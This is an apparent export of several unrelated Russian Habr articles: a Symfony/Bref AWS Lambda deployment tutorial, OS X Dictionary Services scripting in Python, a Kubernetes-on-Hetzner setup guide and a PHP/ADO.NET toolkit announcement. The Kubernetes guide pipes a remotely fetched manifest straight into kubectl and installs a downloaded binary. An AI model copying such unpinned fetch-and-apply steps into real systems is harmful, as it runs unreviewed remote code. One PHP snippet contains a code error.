public function getLogDir(): string
{
if (getenv('LAMBDA_TASK_ROOT') !== false) {
return '/tmp/log/';
}
return parent::getLogDir();
}
public function getCacheDir()
{
if (getenv('LAMBDA_TASK_ROOT') !== false) {
return '/tmp/cache/'.$this-environment;
}
return parent::getCacheDir();
}
```
Подготовим фреймворк Serverless [(см. документацию)](https://bref.sh/docs/installation.html):
```
$ npm install -g serverless
$ serverless config credentials --provider aws --key --secret
$ composer require bref/bref
```
Зададим конфигурацию в файле serverless.yaml:
```
service: notifier-linkedin-api
provider:
name: aws
region: eu-west-3
runtime: provided
environment: # env vars
APP_ENV: prod
LINKEDIN_DSN: YOUR_DSN
plugins:
- ./vendor/bref/bref
functions:
website:
handler: public/index.php # bootstrap
layers:
- ${bref:layer.php-73-fpm} # https://bref.sh/docs/runtimes/index.html#usage
timeout: 28 # Timeout to stop the compute time
events:
- http: 'POST /contents' # Only POST to /contents are allowed
package:
exclude:
- 'tests/**'
view rawserverless.yaml hosted with by GitHub
```
Развертываем!
```
$ serverless deploy
Serverless: Packaging service...
Serverless: Excluding development dependencies...
Serverless: Uploading CloudFormation file to S3...
Serverless: Uploading artifacts...
Serverless: Uploading service notifier-linkedin-api.zip file to S3 (10.05 MB)...
Serverless: Validating template...
Serverless: Updating Stack...
Serverless: Checking Stack update progress...
....................
Serverless: Stack update finished...
Service Information
service: notifier-linkedin-api
stage: dev
region: eu-west-3
stack: notifier-linkedin-api-dev
resources: 15
api keys:
None
endpoints:
POST - https://xxx.execute-api.eu-west-3.amazonaws.com/dev/contents
functions:
website: notifier-linkedin-api-dev-website
layers:
None
Serverless: Removing old service artifacts from S3...
Serverless: Run the "serverless" command to setup monitoring, troubleshooting and testing.
```
Теперь наш код развернут в AWS Lambda, а API доступен по адресу `https://xxx.execute-api.eu-west-3.amazonaws.com/dev/contents`.
Попробуем:
---
> Перевод материала подготовлен в рамках курса [**"Symfony Framework"**](https://otus.pw/KqEN/). Если интересно узнать о курсе больше, приглашаем на [день открытых дверей](https://otus.pw/CAZa/) онлайн, где преподаватель расскажет о формате и программе обучения.
>
> | https://habr.com/ru/post/562392/ | null | ru | null |
# Практическое применение Dictionary Services в OS X 10.5
Я хочу рассказать о сервисе справочников и словарей, идущего в комплекте с OS X. О существовании этого сервиса можно убедиться через пунк «Loop up in dictionary» практически в любом всплывающем меню. Достаточно выделить интересующее слово, вызвать меню и выбрав данный пункт быстро и в удобной форме получить такую информацию как значение слова, его часть речи, слова синонимы и историю его происхождения. Данные собираются из всех доступных словарей (в том числе и из wikipedia) и отображаются на одной странице. Количество словарей и прочие параметры выставляются через программу настройки данного сервиса. Я, к примеру, настроил себе русскоязычную wiki.
Для продвинутого юзера данный сервис предоставляет набор интерфейсов, поэтому применив к этому знание Python или Ruby пользователь может делать различный набор аналитических и статистических вещей над текстом, будь-то определение словарного запаса автора на основе его книг и статей, поиск архаизмов а так же разбор предложений на части речи «сущ + гл + предлог». К примеру можно узнать, что в среднем женщины больше чем мужчины используют глагололы, а последние — существительные.
Не знающему английский язык этот сервис может служить в роли переводчика. К примеру, перед чтением новой статьи или книги, можно написать скрипт, который составляет список слов в тексте, сортирует их в порядке частоты повторения и находит перевод для наиболее часто встречающихся. Распечатав этот лист слов, чтение статей в метро или в электричке становится менее утомительным. Чтобы отфильтровать простые слова, слова которые вы знаете — достаточно применить к этому списку набор слов вашего вокабуляря, ваш словарь, который без особого труда можно сгенерировать. Таким образом вы можете постоянно обновлять свой вокабуляр, следить за его ростом и вашим прогрессом.
Внизу приведен набор ф-ций предоставляемый DictionaryServices.
Поиск в словарях:
\* **DCSGetTermRangeInString**
\* **DCSCopyTextDefinition**
Отображение результатов:
\* **HIDictionaryWindowShow**
Я не буду разбирать каждый метод в отдельности и обращу внимание лишь на наиболее, на мой взгляд полезный — **DCSCopyTextDefinition**
`CFStringRef DCSCopyTextDefinition (
DCSDictionaryRef dictionary,
CFStringRef textString,
CFRange range
);`
*Параметры:*
**dictionary** — Этот параметр зарезервирован для будущего использования, поэтому указывайте как NULL ( поиск происходит по всем активным словарям)
**textString** — Текст который содержит слово или фразу вы хотите найти в словаре
**range** — Диапозон который указывает позицию слова или фразы в textString. Если textString содержит в себе лишь одно слово, то range будет [0, length(word)]
**Return Value** — Представляет собой результат выполнения, который представлен как CFStringRef
Внизу небольшой пример, демонстрирующий вызов данного метода в Python.
`>>> import DictionaryServices
>>> word = "sex"
>>> meaning = DictionaryServices.DCSCopyTextDefinition(None, word, (0,len(word) ))
>>> meaning
u'noun \n1 (chiefly with reference to people) sexual activity, including specifically sexual intercourse \n2 either of the two main categories (male and female) into which humans and most other living things are divided on the basis of their reproductive functions \nverb \n1 determine the sex of \n2 ( sex someone up) arouse or attempt to arouse someone sexually. \n'
>>>`
**Еще один простой пример, показывающий как можно найти сочитания «глагол + предлог» в тексте, их сортировка и вывод на экран.**
# Copyright © 2008 \_\_MyCompanyName\_\_. All rights reserved.
import DictionaryServices
import re
from operator import itemgetter
file = open('terry.txt','r')
words = {}
buf = [None,None]
counter = -1
verbs\_prepos = {}
for line in file:
for word in re.split('\W+',line.lower()):
counter += 1
if word not in words:
words[word] = [1, DictionaryServices.DCSCopyTextDefinition(None, word, (0,len(word) ))]
else:
words[word][0] += 1
meaning = words[word][1]
if meaning is None or len(word) < 2 or word in [«to»,«as»,«about»,«so»,«not»,«for»,«like»]:
buf[counter%2] = None
continue
buf[counter%2] = [word, meaning]
prev\_word = buf[(counter-1)%2]
if prev\_word is not None and re.search("(^adverb)|(^preposition)", meaning[0:15]) and re.search("(^past)|(^verb)", prev\_word[1][0:15]):
str = prev\_word[0] + " " + word
if str not in verbs\_prepos:
verbs\_prepos[str] = 1
else:
verbs\_prepos[str] += 1
items = verbs\_prepos.items()
items.sort(lambda x, y: cmp(y[1], x[1]))
for word in items:
print word[0], " — ", word[1]
**Output:**
looked up — 50
think of — 40
let out — 39
born with — 39
thought of — 39
look at — 37
get out — 34
came up — 20
make out — 20
asked in — 20
rose up — 19
Надеюсь что кому-нибудь так же найдет этот сервис полезным, каким его нашел я. | https://habr.com/ru/post/30542/ | null | ru | null |
# Установка Kubernetes на Hetzner Cloud
*Обновлено 21/08/2020. С момента написания статьи прошло чуть больше года и ряд примеров перестали работать — технологии развиваются, поэтому немного дополнил и переделал примеры.*
В данной статье я хотел бы рассказать об установке Kubernetes на Hetzner Cloud.
На моем рабочем компьютере установлен Ubuntu Linux 18.04 и все примеры будут подразумевать использование данной операционной системы.
Для работы с Hetzner Cloud и построения кластера Kubernetes мы будем использовать [утилиту hetzner-kube](https://github.com/xetys/hetzner-kube). Установим ее на свой локальный компьютер.
```
$ wget https://github.com/xetys/hetzner-kube/releases/download/0.5.1/hetzner-kube-0.5.1-linux-amd64
$ chmod a+x ./hetzner-kube-0.5.1-linux-amd64
$ sudo mv ./hetzner-kube-0.5.1-linux-amd64 /usr/local/bin/hetzner-kube
```
Для работы утилиты hetzner-kube и ее авторизации в Hetzner Cloud необходимо создать API Token через Hetzner Cloud Console <https://console.hetzner.cloud>. Вверху выбираем Select a project -> Default, в левом меню выбираем пункт Access, далее переходим в раздел API tokens, нажимаем на кнопку Generate API Token.
В результате будет сгенерирован API Token и его необходимо будет указать в конфигурации утилиты hetzner-kube.
```
$ hetzner-kube context add k8s
Token:
added context 'k8s'
```
Далее нам необходимо сгенерировать SSH ключ, который будет использоваться для доступа к серверам в Hetzner Cloud. Для этого воспользуемся утилитой ssh-keygen:
```
$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ~/.ssh/id_rsa.
Your public key has been saved in ~/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:1bwptZ8lPiAhtA37/2U1G7HsC+aE7qMVCtVIfN3OLzk lx4241@LX4241-LINUX
The key's randomart image is:
+---[RSA 2048]----+
| +. . . |
| ..*o+ . . |
| +o=.+ o. |
| .+ o +.oo|
| .S +.= .*+|
| . .+o+E+*|
| . o.+==o|
| o.+..+.|
| .oo.... |
+----[SHA256]-----+
```
В результате в вашем домашнем каталоге будет создано два файла ~/.ssh/id\_rsa (приватный ключ) и ~/.ssh/id\_rsa.pub (публичный ключ).
Добавим публичный ssh ключ в Hetzner Cloud:
```
$ hetzner-kube ssh-key add --name k8s
sshKeyAdd called
SSH key k8s(95430) created
```
Непосредственно построение кластера Kubernetes выполняется очень легко:
```
$ hetzner-kube cluster create --name k8s --ssh-key k8s --master-count 1 --worker-count 1
2018/08/02 13:57:57 Creating new cluster
NAME:k8s
MASTERS: 1
WORKERS: 1
ETCD NODES: 0
HA: false
ISOLATED ETCD: false
2018/08/02 13:57:58 creating server 'k8s-master-01'...
--- [======================================] 100%
2018/08/02 13:58:18 Created node 'k8s-master-01' with IP 159.69.54.228
2018/08/02 13:58:18 creating server 'k8s-worker-01'...
--- [======================================] 100%
2018/08/02 13:58:37 Created node 'k8s-worker-01' with IP 159.69.51.140
2018/08/02 13:58:37 sleep for 10s...
k8s-master-01 : complete! 100.0% [==============]
k8s-worker-01 : complete! 100.0% [==============]
2018/08/02 14:02:50 Cluster successfully created!
```
Данная команда автоматически создаст виртуальные сервера в Hetzner Cloud и установит на них указанное количество master/worker нод кластера Kubernetes. По-умолчанию, будут использованы CX11 виртуальные сервера.
В дальнейшем, с помощью утилиты hetzner-kube, также легко изменить конфигурацию кластера Kubernetes добавляя worker ноды. Например, добавим 2 worker ноды:
```
$ hetzner-kube cluster add-worker --name k8s --nodes 2
```
К сожалению, изменить конфигурацию master нод с помощью утилиты hetzner-kube без полного пересоздания кластера Kubernetes на данный момент времени не представляется возможным.
Для работы с Kubernetes кластером используется утилита kubectl. Подробную инструкцию по ее установке для разных операционных систем можно найти [по следующей ссылке](https://kubernetes.io/docs/tasks/tools/install-kubectl/).
Для того, чтобы работать с созданным кластером Kubernetes с помощью команды kubectl, необходимо сохранить локально конфигурацию созданного кластера следующим образом:
```
$ hetzner-kube cluster kubeconfig k8s
create file
kubeconfig configured
```
Файл с конфигурацией сохраняется в ~/.kube/config.
Теперь переходим к самому интересному — конфигурированию полученного кластера Kubernetes.
Для начала создадим базовые ресурсы необходимые для будущего развертывания приложений. Более подробную информацию вы сможете найти по [следующей ссылке](https://github.com/kubernetes/ingress-nginx/blob/master/docs/deploy/index.md).
```
$ curl https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v0.34.1/deploy/static/provider/baremetal/deploy.yaml | kubectl apply -f -
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 6170 100 6170 0 0 13987 0 --:--:-- --:--:-- --:--:-- 14022
namespace/ingress-nginx created
configmap/nginx-configuration created
configmap/tcp-services created
configmap/udp-services created
serviceaccount/nginx-ingress-serviceaccount created
clusterrole.rbac.authorization.k8s.io/nginx-ingress-clusterrole created
role.rbac.authorization.k8s.io/nginx-ingress-role created
rolebinding.rbac.authorization.k8s.io/nginx-ingress-role-nisa-binding created
clusterrolebinding.rbac.authorization.k8s.io/nginx-ingress-clusterrole-nisa-binding created
deployment.apps/nginx-ingress-controller created
limitrange/ingress-nginx created
```
Далее необходимо, чтобы нам ingress контроллер был доступен из Интернета. Для этого с помощью утилиты kubectl редактируем service/ingress-nginx и добавляем в него список публичных IP адресов worker/master нод нашего Кубернетес кластера (только те, которые мы хотим использовать для обработки входящих запросов из Интернета).
```
$ kubectl -n ingress-nginx edit service/ingress-nginx
```
и добавляем следующий раздел в YAML манифест
```
spec:
externalIPs:
- X.X.X.X
- Y.Y.Y.Y
```
Добавляем А записи в ваш домен и ждем пока информация о них появится в ДНС. Например:
```
Type: A
Name: echo.example.com
Value: X.X.X.X
```
Если в ingress-nginx.yaml вы указали несколько внешних IP адресов, то можно создать несколько одинаковых DNS записей с этими IP адресами. В этом случае запросы на ваш домен будут распределяться между этими IP адресами и будет происходить балансировка нагрузки.
В данном примере для работы https сгенерируем самоподписанный SSL сертификат.
```
$ openssl req -newkey rsa:2048 -nodes -keyout echo.example.com.key -x509 -days 365 -out echo.example.com.crt
Generating a 2048 bit RSA private key
..+++
.............+++
writing new private key to 'echo.example.com.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:UA
State or Province Name (full name) [Some-State]:Kyiv
Locality Name (eg, city) []:Kyiv
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Super Company Ltd
Organizational Unit Name (eg, section) []:echo.example.com
Common Name (e.g. server FQDN or YOUR name) []:echo.example.com
Email Address []:info@echo.example.com
$ cat echo.example.com.key | base64 | tr -d '\n'
$ cat echo.example.com.crt | base64 | tr -d '\n'
```
Теперь добавляем наше приложение. В качестве примера выбран простой echoserver. Создаем файл с именем app.yaml и следующим содержимым:
```
apiVersion: v1
kind: Namespace
metadata:
name: echoserver
---
apiVersion: v1
kind: Secret
metadata:
name: echo.example.com-tls
namespace: echoserver
type: kubernetes.io/tls
data:
tls.crt:
tls.key:
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: echoserver
namespace: echoserver
spec:
replicas: 1
selector:
matchLabels:
app: echoserver
template:
metadata:
labels:
app: echoserver
spec:
containers:
- image: gcr.io/google\_containers/echoserver:1.0
imagePullPolicy: Always
name: echoserver
ports:
- containerPort: 8080
---
apiVersion: v1
kind: Service
metadata:
name: echoserver
namespace: echoserver
spec:
ports:
- name: http
port: 80
targetPort: 8080
protocol: TCP
selector:
app: echoserver
---
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
name: echoserver
namespace: echoserver
annotations:
kubernetes.io/ingress.class: "nginx"
spec:
tls:
- hosts:
- echo.example.com
secretName: echo.example.com-tls
rules:
- host: echo.example.com
http:
paths:
- path: /
backend:
serviceName: echoserver
servicePort: 80
```
```
$ kubectl apply -f app.yaml
namespace "echoserver" configured
deployment "echoserver" unchanged
service "echoserver" configured
ingress "echoserver" unchanged
```
На этом все )) Проверяем результат:
```
$ curl https://echo.example.com/
CLIENT VALUES:
client_address=('10.244.3.2', 32860) (10.244.3.2)
command=GET
path=/
real path=/
query=
request_version=HTTP/1.1
SERVER VALUES:
server_version=BaseHTTP/0.6
sys_version=Python/3.5.0
protocol_version=HTTP/1.0
HEADERS RECEIVED:
Accept=*/*
Connection=close
Host=echo.example.com
User-Agent=curl/7.58.0
X-Forwarded-For=10.244.0.0
X-Forwarded-Host=echo.example.com
X-Forwarded-Port=80
X-Forwarded-Proto=http
X-Original-URI=/
X-Real-IP=10.244.0.0
X-Request-ID=7a4f4aabf9a0043ea2b1ca91bd1a3adf
X-Scheme=http
``` | https://habr.com/ru/post/419323/ | null | ru | null |
# PHP Toolkit для ADO.NET Data Services — устраняем грани технологий: PHP + .NET
[](http://blogs.gotdotnet.ru/personal/sergun/content/binary/WindowsLiveWriter/PHPToolkitADO.NETDataServices_5BFE/image_2.png)Microsoft Interoperability team объявила о выходе нового проекта, который является мостом между PHP и .NET и еще больше стирает грани технологий. Этот проект позволяет разработчикам на PHP еще более проще обращаться и использовать всю мощь сервисов .NET на основе ADO.NET Data Services.
С точки зрения разработки схема выглядит достаточно классическим образом. В процессе разработки необходимо использовать утилиту PHPDataSvcUtil, которая входит в PHP Toolkit for ADO.NET Data Services. Эта утилита сгенерирует прокси-классы на PHP на основе метаданных, которые доступны для сервиса на базе ADO.NET Data Services. После этого к проекту на PHP также необходимо будет подключить библиотеки PHP Toolkit for ADO.NET Data Services. Далее, после всех этих несложных действий можно будет использовать всю мощь платформы ADO.NET Data Services в рамках приложений на PHP более удобным способом.
Давайте посмотрим каким образом будет выглядеть код на платформе PHP для выполнения запросов к ADO.NET Data Services. Прежде всего необходимо подключить файл с прокси-классами, которые сгененрированы с помощью утилиты PHPDataSvcUtil:
`PHP<br/
require_once 'NorthwindClient.php';
define("SERVICE_URI", "http://localhost:8080/Northwind.svc");
?>`
После этого можно создавать объекты класса, реализующие логику клиента и осуществлять запросы к удаленному сервису. К сожалению, здесь мы не сможем воспользоваться синтаксисом LINQ для построения запросов к сервису. Поэтому запрос в виде URI придется написать вручную.
`PHP<br/
$client = new NorthwindEntities(SERVICE_URI);
$query = $client->ExecuteQuery("Customers?\$filter=Country eq 'UK'");
?>`
Теперь, после успешного конструирования запроса можно обратиться за данными и вывести результат пользователю:
`PHP<br/
foreach($query as $customer)
{
echo "";
echo $customer->CustomerID;
echo "
";
echo $customer->CompanyName;
echo "";
}
?>`
Здесь хорошо видно, что мы обращаемся к строго типизированным объектам, а результат получаем в виде объектных коллекций. Такой способ очень похож на то, как мы работаем с сервисами ADO.NET Data Services в рамках .NET-клиента. Эти классы-сущности были также сгенерированы утилитой PHPDataSvcUtil.
Pablo Castro (program manager, ADO.NET Data Services) и Claudio Caldato (program manager, interoperability, techincal strategy team) сделали небольшой обзор этой библиотеки на Channel 9 (en), в котором они рассказывают чуть больше деталей.
Ну и наконец очень интересно то, что проект является проектом с открытым исходным кодом и доступен на CodePlex. Кроме того, проект разрабатывается компанией Persistent Systems, но оплачивается Microsoft.
Ссылки:
* Анонс в блоге команды Astoria — [blogs.msdn.com/astoriateam/archive/2009/08/21/announcing-the-php-toolkit-for-ado-net-data-services.aspx](http://blogs.msdn.com/astoriateam/archive/2009/08/21/announcing-the-php-toolkit-for-ado-net-data-services.aspx)
* Описание в блоге команды Interoperability — [blogs.msdn.com/interoperability/archive/2009/08/21/a-new-bridge-for-php-developers-to-net-through-rest-php-toolkit-for-ado-net-data-services.aspx](http://blogs.msdn.com/interoperability/archive/2009/08/21/a-new-bridge-for-php-developers-to-net-through-rest-php-toolkit-for-ado-net-data-services.aspx)
* Обзор на Channel9 — [channel9.msdn.com/posts/jccim/Consuming-data-over-the-web-between-PHP-and-NET-with-REST-and-ADONET-Data-Services](http://channel9.msdn.com/posts/jccim/Consuming-data-over-the-web-between-PHP-and-NET-with-REST-and-ADONET-Data-Services/)
* Сам проект на CodePlex — [phpdataservices.codeplex.com](http://phpdataservices.codeplex.com/) | https://habr.com/ru/post/67781/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.